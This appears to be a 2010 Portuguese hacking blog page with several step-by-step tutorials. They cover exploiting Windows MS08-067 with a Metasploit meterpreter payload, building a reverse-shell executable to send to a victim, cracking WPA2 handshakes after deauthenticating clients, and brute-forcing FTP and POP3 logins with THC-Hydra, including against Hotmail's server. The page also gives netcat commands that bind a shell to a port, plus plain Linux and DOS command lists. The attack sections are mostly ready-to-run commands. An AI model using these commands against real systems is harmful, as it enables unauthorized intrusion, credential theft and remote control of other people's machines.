Sunday, June 20, 2010

Abrir Cadeado #1

Vídeo a exemplificar a abertura de um cadeado utilizando o jigler nr5.




Exploit ms08_067_netapi + payload bind_tcp

MrTcp - Exploit ms08_067_netapi + payload bind_tcp

 

 

Ola desta vez vamos usar o exploit ms08_067_netapi  com a payload bind_tcp no meterpreter, mais informações sobre esta falha nos sistemas da Microsoft e como resolver pode ver neste link : MS08-067


PAYLOAD= windows/meterpreter/bind_tcp
EXPLOIT= exploit/smb/ms08_067_netapi

IP local= 192.168.1.4
IP remoto= 192.168.1.2

SO local = Backtrack4
SO remoto = Windows Server 2003 SP0

//Abrir o MetaSploit

# cd /pentest/exploit/framework3
#./msfconsole

//Escolher Exploit ms08_067_netapi

#use windows/smb/ms08_067_netapi

//Ver Opçoes

#show options

//Definir opçoes

#set RHOST 192.168.1.2

//Definir payload

#set payload windows/meterpreter/bind_tcp

//explorar a maquina

#exploit

//Se tudo correu bem ate aqui já estamos na maquina alvo, podemos executar o comando #help
 para ver todas as opções do framework disponíveis. Se quisermos abrir o DOS da maquina alvo e só digitar o comando #shell

Exploit handler+reverse_tcp


Exploit handler+reverse_tcp

 

Bem Vindos, nesta vídeo aula vamos utilizar o MetaSploit FrameWork3. Vamos usar o exploit handler e a payload shell_reverse_tcp, primeiro  vamos configurar e criar o nosso executável  com a payload shell_reverse_tcp, depois vamos configurar o exploit handler com a payload shell_reverse_tcp para ficar a escuta das ligações da vitima.


PAYLOAD= windows/shell_reverse_tcp
EXPLOIT= exploit/multi/handler

localhost= 192.168.1.4
remotehost= 192.168.1.2

SO local = Backtrack4
SO remoto = Windows server 2003 SP1



//Usar a payload shell_reverse_tcp;

#./msfpayload windows/shell_reverse_tcp O



//Configurar a payload com o host local e a porta;

#./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=333 O



//Criar arquivo executável, a enviar para a vitima;

#./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=333 X > /tmp/MrTcp.exe


//Verificar o Arquivo criado;

#file /tmp/MrTcp.exe


//Abrir o framework;

#./msfconsole

//Usar o exploit hander;

#use exploit/multi/handler

//Mostrar as opções do handler;

#show options

//Adicionar payload reverse_tcp ao exploit;

#set payload windows/shell/reverse_tcp

//Mostrar opções da payload;

#show options

//Definir o host local para ficar a espera de ligaçoes;

#set LHOST 192.168.1.4

//Definir a porta local para ficar a espera de ligações;

#set LPORT 333

//Executar exploit

#exploit

 

 

Crack Passwords Wpa/Wpa2

Crack Passwords Wpa/Wpa2 

 

Autor: MrTcp

Ferramentas: Airodump-ng, Airplay-ng,Aircrack-ng

Video : http://blip.tv/file/3429237/


Bem Vindos esta vídeo aula vamos ver como descobrir  uma password de uma rede wireless protegida por WPA2.
Para puder-mos descobrir uma senha wireless precisamos ter uma placa wireless que suporte injecção de pacotes, já existem varias a venda e só perguntar ao Google, placas compatíveis com Windows são mais difíceis de arranjar. Entretanto precisamos decidir que sistema operativo vamos usar eu pessoalmente prefiro Linux para estes serviços :-)
Vamos precisar de uma ferramenta chamada Aircrack-ng, esta ferramenta já vem instalada no Backtrack e com as drivers compiladas, se quiseres usar numa outra distribuição vais ter fazer o Download das drivers e respectivas Patches para a tua placa wireless, nesta vídeo aula não vamos ver como instalar e compilar as drivers, numa outra aula mais a frente talvez.
Para descobrir a password de uma rede wireless WPA2 temos de desautenticar o cliente do access point , para pudermos capturar os pacotes que contêm a password e depois a pudermos decifrar.

//Alterar o MacAddress da nossa placa wireless;

#ifconfig wlan0 down

#macchanger --mac 00:11:22:33:44:55 wlan0
//Colocar placa em modo monitor, depois de digitar-mos este comando vai ser criada uma outra interface no meu caso é a mon0

#airmon-ng start wlan0
//Verificar as redes wireless, verificar o canal em que a rede esta a operar e o bssid do AccessPoint para utilizar no airodump-ng
 
#airodump-ng mon0
//Depois de verificado o canal e o bssid usar o airodump-ng para capturar toda a informação para um ficheiro com o seguinte comando;
#airodump-ng -c 11 -w justtry --bssid 00:22:3F:D2:C6:AB mon0   

//Definiçoes : no -c colocamos o canal em que a rede esta a operar, no -w fica o nome do ficheiro que vamos gerar no --bssid colocamos o MacAddress do Access Point;

//Depois de estar tudo a ser capturado para o ficheiro temos de desautenticar o cliente do Access Point com o seguinte comando;

#aireplay-ng -0 20 -a 00:22:3F:D2:C6:AB -c 00:25:69:B5:27:F7 mon0
// Descrição : no parâmetro -0 e a opção do aireplay-ng para desautenticar os clientes dos AP's (Access Point's) o numero 20 é o numero de vezes que vai mandar as desautenticações, o -a colocamos o MacAddress do AP e no -c colocamos o MacAddress do Cliente, passado uns segundos temos o nosso HANDSHAKE, depois é só usar o aircrack-ng para crackar a password com o seguinte comando;
#aircrack-ng -w darkc0de.lst justtry_01.cap
//Descrição : no parametro -w utilizamos o caminho para o nosso dicionário no meu caso esta na raiz, depois colocamos o nome do ficheiro .pcap criado pelo airodump-ng
//Agora é só esperar ate a senha estar descoberta, lembre-se para que possam descobrir a password, ela tem de estar no vosso dicionário, senão nada feito. Existe técnicas como as Rainbow  Tables que permite-nos usar mais palavras por segundo do que este método aqui utilizado. Futuramente vou fazer uma vídeo aula de como criar Rainbow Tables para chaves wireless e outra de como as usar. Ate breve

Airodump-NG

Airodump-NG

  Airodump-ng 1.0 r1668 


  http://www.aircrack-ng.org

Tradução : MrTcp


 Sintaxe: airodump-ng [,,...]

  Opçoes:
      --ivs               : So captura IVs;
      --gpsd              : Usa GPSd
      --write         : Dump file prefix
      -w                  : Mesmo que:  --write
      --beacons           : Grava todos os beacons num ficheiro Dump;
      --update        : Mostra o Delay de Tempo em Segundos;
      --showack           : Imprime estatísticas ack/cts/rt;
      -h                  : Esconde estações conhecidas de  --showack;
      -f                    : Tempo em ms entre o salto de canais;
      --berlin           : Tempo antes de remover AP/cliente do visor quando nao houver mais pacotes recebidos (Padrão: 120 segundos);
                        
      -r           : Lê pacotes de um Ficheiro;
      -x          : Simulação active de scan;
      --output-format : Possíveis formatos de Saída: pcap, ivs, csv, gps, kismet, netxml

  Opções de Filtros:
      --encrypt   : Filtra AP’s por encriptação;
      --netmask : Filtra AP’s pela Mascara;
      --bssid     : Filtra Ap’s pelo BSSID;
      -a                  : Filtra clientes não associados;

  Por padrão o  airodump-ng opera nos canais da frequência 2.4Ghz.
  Pode-se capturar em outros canais específicos usando:    
 --channel   : Captura de canal especifico;
      --band         : Banda onde o Airodump-ng deve operar;
      -C      : Usa a frequência definida em Mhz;
      --cswitch  : Define método de selecção de Canal;
                    0     : FIFO (padrão)
                    1     : Round Robin
                    2     : Hop on last
      -s                  : Mesmo que :  --cswitch

      --help              : Mostra a Ajuda;

THC-Hydra

THC-Hydra
http://freeworld.thc.org
12-05-2010
O THC-Hydra é uma ferramenta para ataques de força-bruta (brute-force) para vários protocolos de rede actualmente são suportados os protocolos listados em baixo, neste tutorial não vamos abordar todos os protocolos , futuramente vamos falar sobre cada um deles;
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,
          RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,
          ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable,
          LDAP2, Cisco AAA


Neste tutorial vamos utilizar o THC-Hydra para descobrir senhas dos seguintes protocolos: pop3, FTP, Telnet e SMB, todos os ataques vão ser realizados em maquinas virtuais dentro da minha rede e todas as passwords vão ser previamente definidas no dicionário a utilizar;
Ip do Servidor : 192.168.10.5
Ip Local : 192.168.10.3
Utilizador: MrTcp
Email – MrTcp-teste[at]live.com.pt
Password - *****

Sintaxe:

 hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
 [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
 server service [OPT]

Options:
  -R        #Restaura uma sessão abortada;
  -S        #Conecta via SSL
  -s porta              #Se o serviço estiver a correr numa porta diferente definir aqui
  -l           #Utilizador a utilizar;
 -L           #Ficheiro com varios utilizadores a utilizar;
 -p          #Password a utilizar;
-P           #Ficheiro ou dicionário de passwords a utilizar;
  -e ns     #Informação adicional o “n” verifica se existe passwords nulas e o “s” experimenta o nome do utilizador como password;
  -C ficheiro         #Ficheiro com utilizadores e passwords em coluna com o seguinte formato: "login:pass" e um por linha, é usado em vês das opções –Le –P;
  -M ficheiro       #Lista de servidores para ataques paralelos, um por linha;
  -o ficheiro         #Escreve utilizadores e passwords encontrados para um ficheiro em vez do stdout que imprime na tela;
  -f          #Desconecta depois de encontrar o primeiro utilizador/password;
  -t TASKS            #Executa as tarefas conforme o numero de ligações em paralelo, o padrão são 16;
  -w tempo         #Define o tempo maximo de espera em segundos para responder, o padrao é 30;  
  -v / -V                                 #Modo detalhado;
  Servidor            #IP ou DNS do servidor alvo, pode-se usar a opção –M em substituição desta;   
  Service               “Serviço ou protocolo a atacar, temos os seguintes disponíveis:
telnet,  ftp,  pop3[-ntlm],   imap[-ntlm], smb, smbnt, http[s]-{head|get} , http-{get|post}-form , http-proxy,  cisco ,  cisco-enable,  vnc,  ldap2,  ldap3,  mssql,  mysql,  oracle-listener,  postgres,  nntp,  socks5,    rexec,  rlogin,  pcnfs,  snmp,  rsh,  cvs,  svn,  icq,  sapr3,  ssh2,  smtp-auth[-ntlm] , pcanywhere,   teamspeak,  sip,  vmauthd …

------------------------------------------------------------------------------------------------------------------------------





POP3
Neste exemplo vamos descobrir a password do email mrtcp-teste[at]live.com.pt usando o ataque de força bruta, este email é meu e foi criado previamente para este exemplo;
Sintaxe:
#hydra –S –v –l mrtcp-teste[at]live.com.pt–P /root/dic.dic pop3.live.com pop3
Definição:
-S    -> Conecta por ligação segura;
-v    -> Modo detalhe, permite verificar as passwords mais facilmente;
-l   -> Email a descobrir a password;
-P  -> Directorio onde se encontra o dicionário a utilizar;
Pop3.live.com   -> Dns do servidor POP3 da Hotmail;
Pop3  -> Protocolo a ser utilizado, neste caso é o POP3;


 -----------------------------------------------------------------------------------------------------------------------------------

FTP

hydra 192.168.10.3 ftp -l mrtcp -P /root/dic.txt -e ns -t 15 -f -o /root/pass 

-------------------------------------------------------------------------------------------------------------------------------------

TELNET


-------------------------------------------------------------------------------------------------------------------------------------
SMB



---------------------------------------------------------------------------------------------------------------------------------------


Vídeo

Referência Rápida - Linux/Unix (sh - bash)

alias - Define e exibe nomes alternativos de comados.
arch ou archdetect - Exibe a arquitectura da máquina.
awk - Linguagem de verificação e processamento de padrões.
bash - Bourne Again Shell
bg - Move um processo para o background.
biff - Avisa quando recebe nome email.
cat - Mostra o conteúdo de um ficheiro de uma só vez.
cd - Muda de directório
chage - Altera informações do utilizador.
cfdisk - Aplicação para gestão de partições.
chgrp - Altera propriedades de grupo.
chmod - Altera propriedades de arquivo (rwx)
chroot - Muda o directório Raiz (eg. chroot /mnt/distro1 /bin/bash)
chsh - Altera a shell do logon.
clear - Limpa a tela (consola)
cp - Copia ficheiros ou pastas.
crontab - Mostra e define tarefas agendadas.
csh - Shell cd C.
cut - Usado para eliminar informação desnecessária de um ficheiro de texto.
date - Imprime e altera a data e hora do sistema.
dd - Copia ficheiros, formata discos rigidos, copia cd/dvd's, etc...
df - Mostra o espaço utilizado em disco.
diff - Compara dois ou mais ficheiros mostrando as diferenças.
dig - Utilitário de pesquisa do DNS.
dmesg - Mostra mensagens de sistema.
dnsdomainname - Mostra o DNS do sistema.
domainname - Mostra o NIS ou YP do sistema.
du - Mostra o espaço ocupado pelos ficheiros.
echo - Exibe uma mensagem.
fg - Move processo que está no background para primeiro plano.
file - Determina o tipo de arquivo. (text, ANSI, etc...)
find - Procura ficheiros (find /home/user/ -iname doc)
free - Exibe a quantidade de memoria usada e livre.
ftp - Cliente de ftp
fuser - Identificação de processos usando sockets e/ou espaço em disco
gcc - Compilador de C e C++
grep - Exibe linhas corepondetes a um padrão.
groupadd - Adiciona um grupo.
groupdel - Elimina um grupo.
groupmod - Modifica um grupo.
groups - imprme todos os grupos relativos ao utilizador.
id - Exibe ID do utilizador.
jed - Editor de texto com menus.
ifconfig - Configuração de interfaces de rede.
kill - Mata um processo.
lastlog - Mostra os ultimos utilizadores conectados detalhadamente.
ln - Cria um link.
lsof - Mostra todos os arquivos/processos/sockets abertos no momento.
man - Manual técnico. (eg. man mkdir)
mkdir - Cria um ou mais directorios. (eg. mkdir -p /ola/Como/Estas/.tu)
more - Mostra o conteudo de um ficheiro página por página.
mount - Monta/habilita a leitura ou escrita de uma partição ou ficheiro de sistema.
mv - Move ficheiros ou pastas.
nano - Editor de texto simples.
netstat - Exibe todas as ligações TCP/IP
nice - Executa um programa com agendamento e prioridade modificados.
nslookup - Consulta DNS
passwd - Modifica a palavra-chave do utilizador.
ping - Envia ICMP ECHO_REQUEST para um PC.
ps - Exibe todos os processos activos.
pwd - Exibe a localização da pasta que estamos.
quota - Exibe limites de utilização de disco.
quotaoff - Desactiva quotas.
quotaon - Activa quotas.
rm - Remove ficheiros ou pastas.
route - Define e/ou manipula as rotas da maquina.
rpcinfo - Reporta informações RPC do sistema
sed - Stream Editor
setquota - Define quotas do disco.
sleep - Atrasa por um periodo determinado (usado para programação de shell script)
sort - Imprime ordenadamente por ordem alfabetica/numerica.
strace - Rastreia sinais de sistema.
su - Altera para Super-Utilizador (root)
tail - imprime as ultimas linhas de um ficheiro
tar - Descompacta e compacta ficheiros (tar, gz, bz2, etc...)
umount - desmonta um ficheiro de sistema. (NTFS, fat32, ISO, etc..)
uname - Mostra informações de sistema e distribuição
useradd - Adiciona um utilizador.
userdel - Apaga um utilizador.
uptime - Mostra à quanto tempo o sistema está ligado.
vi - Editor de texto.
w - Mostra todos os utilizadores que estão ligados.
wall - Envia mensagem para todos os utilizadores ligados.
wc - Faz a contagem de palavras de um ficheiro de texto.
which - Mostra o caminho completo dos ficheiros/aplicações que procuramos.
whoami - diz-nos quem somos (whoami - root)

Saturday, June 19, 2010

Referência Rápida - MS DOS

 Comandos de rede do sistema MS-Windows

NB: Para mais informações de como se usa cada comando deve-se acrescentar o sufixo /?. eg. net /?

at - Agenda comandos para serem executados numa hora especifica.
finger - Mostra informações de um sistema que está a usar esse serviço.
hostname - Mostra o nome da estação de trabalho.
nbstat - Mostra as informações NetBIOS do sistema.
net continue - Reinicia um serviço que estava em pause.
net file - Lista de ficheiros abertos que estão partilhados.
net group - Adiciona, exibe ou modifica grupos globais no domínio.
net help - Ajuda do comando net.
net helpmsg - Mostra mensagens de erro/aviso/alertas do Windows.
net localgroup - Para manipular grupos locais.
net name - Exibe/adiciona/exclui nomes de um PC
net pause - Suspende um recurso ou serviço do Windows.
net send - Envia mensagens para outros computadores na rede.
net session - Lista ou desconecta sessões abertas.
net share - Exibe/adiciona/exclui recursos partilhados no computador.
net start - Inicia serviços e também lista.
net stop - Para serviços.
net time - Sincroniza a hora e a data dum computador.
net use - Conecta ou desconecta um computador a um recurso partilhado.
net user - Exibe/adiciona/exclui/modifica contas de utilizadores num PC.
net view - Mostra uma lista de recursos ou computadores partilhados na rede.
netstat - Exibe o estado actual das ligações TCP/IP.
nslookup - Fornece a conversão de nomes DNS.
pathping - Combina recursos tracert e ping para fornecer informações de rota e rastreio.
rasdial - Conecta a um servidor remoto.
rcp - Copia ficheiros de um computador para outro.
reg - Exibe/adiciona chaves no computador local.
rexec - Executa comandos numa máquina remota que está a usar o serviço rexec
rsh - Executa comandos numa maquina remota que está a usar o serviço rsh.
runas - Executa comandos com previlégios especificos.
start - inicia uma janela separada para executar um programa ou serviço.
tftp - Transfere ficheiros remotos duma maquina que esteja a usar o serviço lftp.

MS-DOS

Append - Semelhante ao Path: permite que programas abram ficheiros noutros directórios.
arp - Exibe/modifica tabelas de IP para MAC
attrib - Modifica propriedades de ficheiros.
cd - Muda de directório.
chkdsk - Utilitário usado para a verificação de erros no Disco.
cls - Limpa a tela.
copy - Copia ficheiros de um lugar para outro.
date - Exibe a data do sistema.
del - Apaga um ou mais ficheiros permanentemente.
dir - Lista os directórios ou ficheiros de uma pasta.
doskey - Utilitário do histórico dos comandos.
edit - Inicia e um programa de edição de texto.
exit - Sai da consola ou termina um serviço que está em execução.
expand - Expande ficheiros compactados no Windows.
fc - Compara dois ficheiros.
fdisk - Cria e apaga partições dum disco rígido.
find - Procura texto num ficheiro de texto. Case-Sensitive.
format - Apaga todo o conteúdo de um disco rígido.
ftp - Transferência de dados através do protocolo FTP.
help - Lista de comandos do DOS ou informação adicional de como se usa um comando.
md - Cria uma pasta.
more - Lista página a página um ficheiros de texto.
move - Move ficheiros ou pastas.
ping - Verifica a conectividade.
print - Imprime ficheiro.
rd - apaga directório.
ren - Muda de nome 1 ou mais ficheiros.
route - Exibe/adiciona/apaga rotas.
sort - organiza lista de ficheiros por ordem alfabética/numérica ou inversamente.
tracert - Exibe a rota de rede de um computador.
tree
- Exibe a estrutura de pasta de um disco rígido.
type - Mostra o conteúdo de um ou mais ficheiros.
ver - Versão do Windows
xcopy - Copia arquivos e árvores de directórios.

Thursday, June 10, 2010

NetCat - Canivete Suiço do Tcp/Ip

NetCat
10/05/2010
[v1.10-38]
     O NetCat é uma ferramenta de rede que lê e escreve dados através de ligação de rede, usando o protocolo TCP / IP.

    Ele é projectado para ser um confiável "back-end" ferramenta que pode ser usada directamente ou facilmente conduzida por outros programas ou scripts. Ao mesmo tempo, é um depurador de rede rico em recursos e ferramentas de exploração, uma vez que pode criar praticamente qualquer tipo de ligação necessária e tem várias capacidades interessantes embutidas.

Sintaxe NetCat:                     

                               -c  [comandos shell] – Especifica comandos a serem executados após ligação, os comandos para serem executados são enviados por /bin/sh.
                               -e [ficheiro] – Específica um ficheiro a executar após a ligação;
                               -b : Permite BroadCast
                               -g [gateway]- Gateway’s de serviço, acima de 8;
                               -G [numero]: Numero de gateway’s de serviço: 4, 8, 12, …
                               -h : Mostra ajuda;
                               -i  [segundos] – Intervalo de tempo para enviar comandos ou fazer um scan;
                               -k : Mantém a shell aberta em caso de a ligação falhar;
                               -l : Modo de escuta, com este parâmetro o NetCat fica a espera de ligações de qualquer endereço;
                               -n : Só usa números IP, não utiliza servidores DNS;
                               -o [ficheiro] : Envia tráfego de rede para o ficheiro;
                               -p [porta] : Específica a porta a usar;
                               -r : Escolhe portas locais ou remotas aleatórias;
                               -q [segundos]: Cancela ligação após os segundos definidos se não houver tráfego na ligação;
                               -s [endereço] : Endereço local;
                               -T [TOS] : Time of Service – Duração da Ligação;
                               -t : Negocia ligações TelNet;
                               -u : Modo UDP;
                               -v : Modo detalhado, usar –vv para mais detalhes;
                               -w [segundos] : Tempo para a ligação;
                               -z : Modo E/S , usado para scan’s, envia os pacotes mas não aguarda ligação;
                              
Exemplos Netcat:

1-      Ligar ao endereço 192.168.100.20 na porta 23 ;
Sintaxe - # nc 192.168.100.20 23

2-      Fica a espera de ligações de qualquer endereço na porta 2010;
Sintaxe - #nc  –l –p 2010 -vv

3-      Verificar se o endereço 192.168.100.20 tem alguma porta aberta entre 1 e 10000 (scanner);
Sintaxe - #nc  -vv 192.168.100.20 1-10000

4-      Abrir a porta 150 para aceitar ligações e ter acesso a uma shell;
Sintaxe: nc –l 150 –e /bin/sh

5-      Transferir ficheiro MrTcp.txt para o endereço 192.168.100.20 porta 5000;
Sintaxe: #nc 192.168.100.20 5000 < MrTcp.txt

The Truth Of Heath Ledger Joker Full Documentary

The Truth Of Heath Ledger Joker Full Documentary The Truth Of Heath Ledger Joker Full Documentary http://bit.ly/2l6WKqS